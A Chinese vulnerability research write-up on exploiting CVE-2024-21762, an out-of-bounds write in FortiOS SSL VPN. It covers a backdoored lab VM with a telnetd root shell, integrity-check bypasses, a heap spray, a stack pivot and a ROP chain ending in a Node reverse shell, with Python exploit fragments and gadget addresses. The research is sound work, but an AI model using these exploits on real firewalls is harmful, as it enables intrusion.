查看原文
其他

原创 | CVE-2024-21762 FortiOS内存越界写导致RCE漏洞分析

前言

内存越界写入仅有的2个字节 \r\n导致了RCE。这整条利用链比较巧妙, 还是非常值得学习的, 这里记录一下从环境搭建到漏洞利用再到getshell的一个过程。

环境搭建

这里用到的测试环境为 FGT_VM64-v7.2.1.F-build1254-FORTINET

网络配置

加载ova虚拟机,并启动, 配置网卡1为自己的网段:

进入系统后输入默认的用户名admin, 密码为空, 接着进到CLI界面, 开始按照以下配置, 设置网卡:


config system interface edit port1 set mode static set ip 192.168.102.200 255.255.255.0 set allowaccess ping https http ssh telnet end


配置后, 就设置好了IP地址, 并且开启了22、23、80、443的端口, 可以自行查看有没有ping通。

sslvpn服务配置

通过https访问目标进入后台页面, 此时需要破解license, 可以参考@CATALPA大佬的脚本: https://github.com/rrrrrrri/fgt-gadgets, 激活后, 就可以开始配置VPN功能了。

1、创建sslvpn的用户:

2、创建组,并且将用户添加至组

3、配置sslvpn,选择监听网卡以及端口(这里设置的是4443)

4、设置可访问组为自己创建的组:

5、防火墙配置 添加允许port1网卡对sslvpn的访问:

6、正常访问sslvpn服务:

    Patch后门

    加载虚拟机后, 会有2个vmdk文件, 其中vmdk1里边保存的有一个叫做 rootfs.gz的压缩包, 里边保存的就是文件系统, 另外的一个 flatkc是加载启动的内核程序,其实就是vmlinx换了个名字。

    我们的目标是: 将系统的某些自动加载的程序替换为我们自己的后门(以往的思路例如:替换vmtools等).

    这里用到的一个方法是:替换掉cli中的一个叫做 smartctl的功能, 他本来是指向 /bin/init的一个软链接, 我们可以把他替换成一个静态编译的后门程序, 这样就达到了从cli调用smartctl会执行后门程序的效果。

    通过在一台Linux设备上挂载这个vmdk1硬盘来修改里边的内容:

    我整合了一下patch后门的步骤:


    # 挂载vmdk

    root@Pwn-Baka:/mnt# mount /dev/sdb1 /mnt/fuckforti


    # 解压vmdk中的rootfs.gz

    root@Pwn-Baka:/mnt/forti-rootfs# gzip -d rootfs.gz

    root@Pwn-Baka:/mnt/forti-rootfs# mkdir ../fos_rootfs ; cd ../fos_rootfs/

    root@Pwn-Baka:/mnt/fos_rootfs# mv ../forti-rootfs/rootfs .

    root@Pwn-Baka:/mnt/fos_rootfs# cpio -idmv < rootfs

    root@Pwn-Baka:/mnt/fos_rootfs# rm rootfs


    # 解压bin目录

    root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz --check=sha256 -d /bin.tar.xz

    root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -xf /bin.tar


    # 替换默认shell

    root@Pwn-Baka:/mnt/fos_rootfs# mv bin/sh bin/sh_bak

    root@Pwn-Baka:/mnt/fos_rootfs# ln -sn /bin/busybox bin/sh

    root@Pwn-Baka:/mnt/fos_rootfs#


    # 制作后门

    root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# cat main.c

    #include <stdlib.h>


    void shell() {

        system("/bin/busybox ls");

        system("/bin/busybox id");

        system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22");

    }


    int main(int argc, char **argv) {

        shell();

        return 0;

    }

    //gcc -g main.c -static -o smartctl-backdoor

    root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# gcc -g main.c -static -o smartctl-backdoor

    root@Pwn-Baka:/mnt/fos_rootfs/bin# mv busybox-i686-v1-sysv busybox


    # 替换后门

    root@Pwn-Baka:/mnt/fos_rootfs/bin# mv /mnt/hgfs/Ubuntu/forti_backdoor/smartctl-backdoor smartctl



    # 重打包bin目录

    root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -cf /bin.tar /bin

    root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz -z /bin.tar

    # rm -rf bin !!!!!!这里不能删除/bin目录 要保留patch后的/bin/init, 至于删其他文件会不会出现问题可以自行尝试


    # 重打包rootfs

    root@Pwn-Baka:/mnt/fos_rootfs# find . | cpio -H newc -o > "../rootfs"

    root@Pwn-Baka:/mnt/fos_rootfs# cat "../rootfs" | gzip > "../rootfs.gz"

    root@Pwn-Baka:/mnt/fos_rootfs# dd if=/dev/zero bs=1 count=256 >> "../rootfs.gz"


    # 替换rootfs.gz

    root@Pwn-Baka:/mnt/fos_rootfs# cd ../fuckforti/

    root@Pwn-Baka:/mnt/fuckforti# cp ../rootfs.gz .


    # 取消挂载

    root@Pwn-Baka:/mnt/fuckforti# cd ..

    root@Pwn-Baka:/mnt# umount /mnt/fuckforti/


    # 提取vmlinux

    root@Pwn-Baka:/mnt/fuckforti# cp flatkc ../

    root@Pwn-Baka:/mnt/fuckforti# cd ..

    root@Pwn-Baka:/mnt# umount fuckforti/

    root@Pwn-Baka:/mnt# cp flatkc hgfs/Ubuntu/


    # 转换vmlinux

    > git clone https://github.com/marin-m/vmlinux-to-elf.git

    > cd vmlinux-to-elf

    > python3 vmlinux-to-elf /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc  /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc1


    除了以上的步骤, 还需要解决一些问题:

    • 1、系统没有busybox, 需要传一个x86-64的busybox进去, 确保后边调试方便.
    • 2、我用Ubuntu环境静态编译的后门不知道为什么没有被执行, 之后用go编译了一个可以了. 这里感谢@pipiyang的思路
    • go后门代码:


    package main import ( "fmt" "log" "os/exec" ) func shell() { if err := exec.Command("/bin/busybox", "ls").Run(); err != nil { log.Fatal(err) } if err := exec.Command("/bin/busybox", "id").Run(); err != nil { log.Fatal(err) } if err := exec.Command("/bin/busybox", "killall", "sshd").Run(); err != nil { log.Fatal(err) } if err := exec.Command("/bin/busybox", "telnetd", "-l", "/bin/sh", "-b", "0.0.0.0", "-p", "22").Run(); err != nil { log.Fatal(err) } } func main() { fmt.Println("hello") shell() } // GOOS=linux GOARCH=amd64 go build -o smartctl-backdoor

    // cp /mnt/hgfs/Ubuntu/iot/FortiGate/fuckforti/smartctl_backdoor_go/smartctl-backdoor smartctl


    绕过文件系统检查

    /bin/init这个文件是一个很大的bin文件, 有60多M, 里边存放了FortiOS的启动过程, 还有很多功能都是链接向他的, 例如sslvpnd服务也是通过/bin/init启动的, 在图中的位置检查了rootfs.gz的文件完整性. 检查失败会到do_halt, 直接重启。

    这里的思路很简单, 将do_halt直接ret即可, 或者修改判断逻辑, 直接patch即可。

    绕过内核检查

    可以通过 vmlinux-to-elf工具将flatkc变为elf程序, 这样就可以使用gdb或者ida加载并分析了。

    从kernel_init跟进, 发现有一个名为 fgt_verify的函数, 如果他返回异常,系统就会重启。

    解决他的思路是在走完fgt_verify函数时, 将 \$rax置0, 并且将启动的/sbin/init 替换为修改后的/bin/init

    这里写了一个gdb启动脚本, 可以参考(其中注释的部分是需要手动执行的. 具体 /bin/init的位置, 需要查看flatkc文件中/bin/init的地址):


    import gdb

    gdb.execute('set architecture i386:x86-64') #设置架构

    gdb.execute('set pagination off') #关闭分页

    gdb.execute('file ./flatkc1') #加载启动内核文件

    gdb.execute('b fgt_verify') #fgt_verify


    # finish

    # set $rax = 0

    # set {char[9]}0xFFFFFFFF808F3591 = "/bin/init"

    # set {char}0xFFFFFFFF808F359A = '\x00'


    虚拟机启动后, 运行 diagnose hardware smartctl, 启动后门:

    此时通过telnet连接22端口测试:

    关于调试

    由于22、23端口都被进程占用, 其中22端口是被替换成了/bin/busybox telnetd,23端口为原本的telnet服务, 我们用不到他, 这时候就可以通过kill掉系统的telnetd服务,并且监听我们的gdbserver程序, 命令如下:


    /bin/busybox kill `/bin/busybox ps | grep "/[b]in/telnetd" | /bin/busybox awk '{print $1}'` ; ./gdbserver 0.0.0.0:23

     --attach `/bin/busybox ps |grep ssl[v]pnd |/bin/busybox awk '{print $1}'`


    可以看到成功attach到sslvpnd进程:

    这里也记录了一些调试漏洞时的一些断点命令, 可以自行参考:


    import gdb

    gdb.execute("set architecture i386:x86-64")

    gdb.execute("file ../init")

    gdb.execute("set pagination off") #关闭分页

    # gdb.execute("b* 0x176bbb6") #越界写0a0d后,crash前leave位置


    # gdb.execute("b *0x1780a20") # jmp rax所在的函数

    # gdb.execute("b* 0x000000000177F410")

    # gdb.execute("b *0x1780B1B") # jmp rax

    # gdb.execute("watch *0x7fc9d3ae3a00") # 分配堆块

    # gdb.execute("b *0x178E196") # 分配堆块位置

    # gdb.execute("b* 0x43ec1b") #system_plt

    # gdb.execute("b* 0x1780C19") #可控参数call

    # gdb.execute("b* 0x7fc9d8d4ca31") #do_system_args




    # gdb.execute("b* 0x7f47c9cdf956") # <SSL_do_handshake+54>

    # gdb.execute("b* 0x7f47c9cdf98e") #  <SSL_do_handshake+110>:jmp    rax

    # gdb.execute("b* 0x01f710ed") # debug rop

    gdb.execute("target remote 192.168.102.200:23")

    gdb.execute("c")


    漏洞发现

    diff补丁:

    通过diff补丁可以知道, 新版本添加了对chunk的限制: 当ap_getline的返回值大于16的时候添加了非法chunk的异常处理。

    通过分析公开的PoC, 以及解析chunk的处理后发现:

    • 如果chunk length的字段解码后为0的话, 就会从chunk trailer开始读, 而chunk trailer是由ap_getline读取的.
    • 读取chunk trailer的时候,会根据chunk length的长度写入0x0d,0x0a

    • 所以, 我们如果在chunk length上传入0的长度大于剩余缓冲区长度的1/2时,就会触发越界写0x0a0d,而偏移0x2028的位置保存了返回地址.如果在偏移0x202e的位置写入\r\n.当函数返回执行ret指令恢复rip时就会因地址非法产生崩溃。


    Crash分析

    Crash PoC:


    hostname='192.168.102.200:4443' pkt = b"""\ GET / HTTP/1.1 Host: %s Transfer-Encoding: chunked %s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")


    通过调试发现,rsp的值已经被覆盖为0x0a0d开头的一个内容:

    由于越界写的内容很有限, 只有固定的0x0a0d两个字节,所以也无法劫持rip指针,所以现在需要想办法来控制写入0x0a0d的位置,以及思考2个字节可以做什么。

    漏洞利用

    控制写入0a0d位置:

    程序在0x176bbb7的位置发生崩溃了, 我们在发生崩溃, leave之前的位置下一个断点,查看栈的情况:

    b* 0x176bbb6

    首先在越界写0x0a0d的位置下断点: 然后查看栈的信息, 这里用了PoC中的值以及PoC中的偏移+0x20的值,


    #payload -> b"0"*((0x202e//2)-2)+b"a"

    pwndbg> x/1i $rip

    => 0x176bbb7:ret

    pwndbg> x/10gx $rsp

    0x7fff03071f68:0x0a0d00000177f48d0x00007fff03071f80 <--写入0a0d位置

    0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0

    0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0

    0x7fff03071f98:0x00007f47c52e3a000x0000000000000000

    0x7fff03071fa8:0x000000010016966d0x00007fff03071fe0


    #payload -> b"0"*((0x202e//2)-2+0x20)+b"a"

    pwndbg> x/1i $rip

    => 0x176bbb7:ret

    pwndbg> x/10gx $rsp

    0x7fff03071f68:0x000000000177f48d0x00007fff03071f80

    0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0

    0x7fff03071f88:0x0a0d0000000000000x00007f47c52e3ac0 <--写入0a0d位置

    0x7fff03071f98:0x00007f47c52e3a000x0000000000000000

    0x7fff03071fa8:0x000000010016d6040x00007fff03071fe0


    此时发现可以控制0a0d的位置, 并且可以成功绕过这个由于返回地址被改为0a0d时出现的段错误了, 继续跟进调试: 发现程序走进了一段小gadget:

    到这里我们可以发现, 如果说我们写入一个0d0a 使他刚好可以覆盖掉某个栈上的值, 是否就可以在pop寄存器的时候修改寄存器的内容呢?

    错误的尝试:

    • 1、通过修改rbp的低字节, 结果:程序没有leave来恢复栈, 导致crach (x)
    • 2、可以改一些变量内容, 结果: 改了很多变量, 发现没什么卵用 (x)

    利用方法:

    思考后, 想到了可以尝试一下的方法: 通过修改栈上边保存指向堆地址的值, 比如修改了指向0x7fxxxxx1000的地址, 修改后使其指向0x7fxxxxx0a0d, 并且通过堆喷,使得堆上的值可控,此时就得到了一个可控的指针指向可控的结构体.
    这里我们选择了((0x202e//2)-2+0x15)的位置,修改后的代码如下:

    pwndbg> x/1i $rip

    => 0x176bbb7:ret

    pwndbg> x/10gx $rsp

    0x7fff03071f68:0x000000000177f48d0x00007fff03071f80

    0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0

    0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0

    0x7fff03071f98:0x00007f47c52e0a0d0x0000000000000000 #3a00 -> 0a0d

    0x7fff03071fa8:0x000000010019803d0x00007fff03071fe0


    这个位置保存的是一个堆指针。

    可以看到, 在执行了pop r13后, r13的值被修改为我们覆盖掉0a0d的值:

    继续执行, 程序走在了读rsi地址没有读到的地方, 发生了崩溃:

    分析这个地址所在的函数sub_1780A20后, 发现了一个有趣的地方, 这里的v9 通过*(v8+0xc0)得到的,而v8的值是rdx, 他的获取方法是通过rsi+0x70的地址所在的值, 而这个值是我们可控的(存于堆中), 所以我们可以通过修改v9的值指向任意的函数,从而做到任意函数的调用。

    这里的v9为rax, a1为第一个参数, 也就是rdi的值。

    劫持函数指南针

    这里可以通过2步来修改rsi的值:

    • 1、通过堆喷的方法, 创建一个堆布局
    • 2、通过发送PoC,修改堆指针,使其走到sub_1780A20函数中
    我们从之前的漏洞中得知, FortiGate 会在解析每个表单后参数时为其创建单独的分配. 这让我们可以对分配的chunk进行控制.
    我们发送了12个带有表单参数的请求,每个参数的长度与我们的目标分配大小相同,而堆块分配的大小为0x608:

    所以做的表单的变量与参数需要分别设置大小,以保证堆喷的目标为0x608大小的堆块上:


    body = b'A'*(0x608) + b"=" + b'B'*(0x508) + b"&"

    body = body*12


    print("[*]heap spray -> "+str(len(body)))

    ssock1 = alloc_ssl(HOST)

    data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"

    data += f"Host: {IP}:{PORT}\r\n".encode()

    data += f"Content-Length: {len(body)}\r\n".encode()

    data += b"\r\n"

    data += body

    ssock1.sendall(data)


    time.sleep(1)


    print("[*]writing 0a0d..")

    ssock2 = alloc_ssl(HOST)

    data  = b"POST / HTTP/1.1\r\n"

    data += f"Host: {IP}:{PORT}\r\n".encode()

    data += b"Transfer-Encoding: chunked\r\n"

    data += b"Connection: close\r\n"

    data += b"\r\n"

    data += b"0"*4137 + b"\0"

    data += b"A\r\n\r\n"

    ssock2.send(data)


    调试得到结果如下, 可以看到rsi可控:

    既然rsi可控了, 现在就是分析多级指针解引用的问题了, 以保证程序能正常的被控制为我们想执行的代码, 这里以system函数举例,过程如下:

    计算偏移后, 将目标地址修改为0x431f68:


    system_ptr = up64(0x431f68) #解引用后

    body = b''

    body+= cyclic(1421)

    body+= system_ptr

    body+= b'A'*(0x608-1421-8)

    body+= b"="

    body+= b'B'*(0x508)

    body+= b"&"

    body = body*12


    # bug1: 0x177f443    mov    r15, qword ptr [r13 + 0x70]

    # bug2: 0x1780aee    mov    rdx, qword ptr [rsi + 0x70]



    print("[*]heap spray -> "+str(len(body)))

    ssock1 = alloc_ssl(HOST)

    data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"

    data += f"Host: {IP}:{PORT}\r\n".encode()

    data += f"Content-Length: {len(body)}\r\n".encode()

    data += b"\r\n"

    data += body

    ssock1.sendall(data)


    time.sleep(1)


    print("[*]writing 0a0d..")

    ssock2 = alloc_ssl(HOST)

    data  = b"POST / HTTP/1.1\r\n"

    data += f"Host: {IP}:{PORT}\r\n".encode()

    data += b"Transfer-Encoding: chunked\r\n"

    data += b"Connection: close\r\n"

    data += b"\r\n"

    data += b"0"*4137 + b"\0"

    data += b"A\r\n\r\n"

    ssock2.send(data)


    此时system函数被执行(这里执行/bin/busybox的原因是我将/bin/sh链接到了/bin/busybox):

    这里本来以为结束了, 后来想到由于系统自带的/bin/sh功能很少, 而system函数默认会调用/bin/sh去执行命令,就算执行了也不能达到什么效果, 所以就放弃了使用system函数, 打算使用execl函数, 去调用自带的/bin/node反弹shell.达到execl("/bin/node","/bin/node","-e","反弹shell代码")

    控制RIP

    **通过分析之前的文章, 发现了一个有趣的导入函数: **SSL_do_handshake, 这个函数entry处的代码如下:


       0x7fc9d85f7920 <SSL_do_handshake>:push   rbp

       0x7fc9d85f7921 <SSL_do_handshake+1>:sub    rsp,0x30

       0x7fc9d85f7925 <SSL_do_handshake+5>:mov    rax,QWORD PTR fs:0x28

       0x7fc9d85f792e <SSL_do_handshake+14>:mov    QWORD PTR [rsp+0x28],rax

       0x7fc9d85f7933 <SSL_do_handshake+19>:xor    eax,eax

       0x7fc9d85f7935 <SSL_do_handshake+21>:cmp    QWORD PTR [rdi+0x30],0x0

       0x7fc9d85f793a <SSL_do_handshake+26>:je     0x7fc9d85f79e2 <SSL_do_handshake+194>

       0x7fc9d85f7940 <SSL_do_handshake+32>:mov    rbp,rdi

       0x7fc9d85f7943 <SSL_do_handshake+35>:mov    esi,0xffffffff

       0x7fc9d85f7948 <SSL_do_handshake+40>:call   0x7fc9d86278e0

       0x7fc9d85f794d <SSL_do_handshake+45>:mov    rax,QWORD PTR [rbp+0x8]

       0x7fc9d85f7951 <SSL_do_handshake+49>:xor    esi,esi

       0x7fc9d85f7953 <SSL_do_handshake+51>:mov    rdi,rbp

    => 0x7fc9d85f7956 <SSL_do_handshake+54>:call   QWORD PTR [rax+0x60]

       0x7fc9d85f7959 <SSL_do_handshake+57>:mov    rdi,rbp

       0x7fc9d85f795c <SSL_do_handshake+60>:call   0x7fc9d8626960 <SSL_in_init>

       0x7fc9d85f7961 <SSL_do_handshake+65>:test   eax,eax

       0x7fc9d85f7963 <SSL_do_handshake+67>:je     0x7fc9d85f7990 <SSL_do_handshake+112>

       0x7fc9d85f7965 <SSL_do_handshake+69>:test   BYTE PTR [rbp+0x9f1],0x1

       0x7fc9d85f796c <SSL_do_handshake+76>:jne    0x7fc9d85f79c0 <SSL_do_handshake+160>

       0x7fc9d85f796e <SSL_do_handshake+78>:mov    rax,QWORD PTR [rsp+0x28]

       0x7fc9d85f7973 <SSL_do_handshake+83>:sub    rax,QWORD PTR fs:0x28

       0x7fc9d85f797c <SSL_do_handshake+92>:jne    0x7fc9d85f7a19 <SSL_do_handshake+249>

       0x7fc9d85f7982 <SSL_do_handshake+98>:mov    rax,QWORD PTR [rbp+0x30]

       0x7fc9d85f7986 <SSL_do_handshake+102>:add    rsp,0x30

       0x7fc9d85f798a <SSL_do_handshake+106>:mov    rdi,rbp

       0x7fc9d85f798d <SSL_do_handshake+109>:pop    rbp

       0x7fc9d85f798e <SSL_do_handshake+110>:jmp    rax

       0x7fc9d85f7990 <SSL_do_handshake+112>:mov    rdi,rbp

       0x7fc9d85f7993 <SSL_do_handshake+115>:call   0x7fc9d8626990 <SSL_in_before>

       0x7fc9d85f7998 <SSL_do_handshake+120>:test   eax,eax

       ...


    我们关注其中的<SSL_do_handshake+110>的位置, 他的指令是jmp rax, 并且在<SSL_do_handshake+45>的时候, 他取了栈上的一段数据给了rax, 这就说明了rax其实是可控的. 所以如果可以到达这个地方, 那么就可以劫持\$rip寄存器.

    这里成功进到了这个函数, 也遇到了一个问题: 在\<SSL_do_handshake+54>的地方, call了一个rax+0x60的地址。

    这个地址是可控的, 我们就可以给他赋一个没什么用的函数, 比如getcwd,注意这里需要-0x60.

    控制跳转\$rip寄存器,但是还没有结束, 这里我们需要构造一个栈空间, 来实现ROP

    ps:这里有2个巨坑: FortiOS里会有一个地方对输入的表单内容做检查, 这里感谢@chumen77师傅的指点

    • 1、如果是奇数或者偶数分支也不太一样,会出现奇奇怪怪的错误, 到不了<SSL_do_handshake+110> ,不过这个位置是固定的, 经过测试, 他就在过掉\<SSL_do_handshake+45>的call之后填充的+32的偏移的字节的位置. 这里要用偶数,不要用奇数!

    2、如果堆喷发送的包过大或者写入的地址被覆盖, url编码不会被解析!

    栈迁移

    触发jmp rax崩溃时,\$rdi寄存器仍指向堆空间, 这时候就有一个思路, 将当前的栈, 迁移至堆。

    可以通过ROPgadget以及ropr等工具找到以下gadget:


    #stack pivoting

    pivot_1 = up64(0x00f62332)# push rdi; pop rsp; ret;

    pivot_2 = up64(0x021b8b07)# add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

    pivot_3 = up64(0x023c32ad)# add rsp, 0xd80; pop rbx; pop r12; pop rbp; ret;


    • 通过pivot_1可以迁移栈到rdi所在的堆
    • pivot_2和pivot_3一样, 都是可以移动栈的位置, 这里我选择了pivot_3, 因为pivot2移动栈指针后,指向的地址离一些自己写入的地址位置很近并且空间不太够.这里根据堆的情况自己调整就好
    此时 通过pivot_1和pivot_3, 已经将栈迁移到可控制的堆空间中:

    ROP

    此时就可以构造ROP了,这个过程简单一些, 分别将rdi、rsi、rdx、rcx、r8进行赋值,最后进入execl函数即可,我构造的ROP链如下:


    #rop chains

    rop = b""


    # rdi -> /bin/node

    rop+= up64(0x000000000046bb26) # push rdi ; pop rax ; ret

    rop+= up64(0x00000000013f12e9) # sub rax, 0x2c8 ; ret

    rop+= up64(0x006107e0) # push rax; pop rcx; rol byte ptr [rdx], 0xba; mov al, 0x65; ret;

    rop+= up64(0x01dc07a6) # push rax; pop rdi; fadd st, qword ptr [rcx]; mov qword ptr [rip+0xa54dbb3], 0x1dc5e30; ret;


    # rsi -> /bin/node

    # rop+= up64(0x01ca1824) # add rsi, rax; mov [rdi+8], rsi; ret;

    rop+= up64(0x01d125ea) # push rax; pop rsi; or al, [rax]; ret;



    # rdx -> -e

    rop+= up64(0x00000000004e906e) # add rax, 0x10 ; ret

    rop+= up64(0x0256e7ae) # pop rdx; ret;

    rop+= up64(0) # rdx -> 0

    rop+= up64(0x01f710ed) # add rdx, rax; lea rax, [rsi+rdx*4+0x2a20]; ret; ---rdx在rdi+0x10的位置; 此时rax被破坏


    # r8 -> 0

    rop+= up64(0x02a852f5) # pop r8; ret;  这里也可以用xor r8, r8; ret;来替代,可以节约一些字节

    rop+= up64(0)# r8 -> 0


    # rcx -> {js code}

    rop+= up64(0x000000000058f7f3) # pop rcx ; ret

    rop+= up64(0) # rcx -> 0

    rop+= up64(0x00772b3e) # add rcx, rdi; lea rax, [rcx+rcx+0x3fd2642]; ret;

    rop+= up64(0x01317394) # add rcx, 0x38; call qword ptr [rbx+0x10];


    在给rcx赋值的时候取了一个巧, 找到了抬高rcx,并且直接call了一段可控地址的gadget:add rcx, 0x38; call qword ptr [rbx+0x10]; ,它可以给rbx赋值后, 将call的地址改为execl的地址-0x10的位置. 由于call完就结束了, 所以要先给r8寄存器赋值为0。

    GetShell

    最后将所有的寄存器都赋值,并且调用execl函数,并且成功加载了/bin/node:

    此时已经加载了js代码,并且反弹node的shell回来了。

    结束

    到了这里还是有一些问题的:

    • 由于堆喷实现的堆布局比较随机, 每次重启的时候打设备会发生变化, 所以重启后可能打不通, 这时候需要把程序给打崩掉, 等待守护进程自动启动sslvpnd服务, 这样可以达到重置内存的效果, 然后再用exp打, 但是利用成功率不高。
    • 重启后,不通过gdb attach加载也有概率打不通。解决思路同上。
    • 以上可能是我利用方式存在缺陷, 如果有更好的解决方法, 望指正。



    往期推荐



    原创 | 深度剖析GadgetInspector执行逻辑(上)
    原创 | 深度剖析GadgetInspector执行逻辑(下)
    原创 | amazon-redshift-jdbc-driver 任意代码执行漏洞

    继续滑动看下一个
    向上滑动看下一个

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存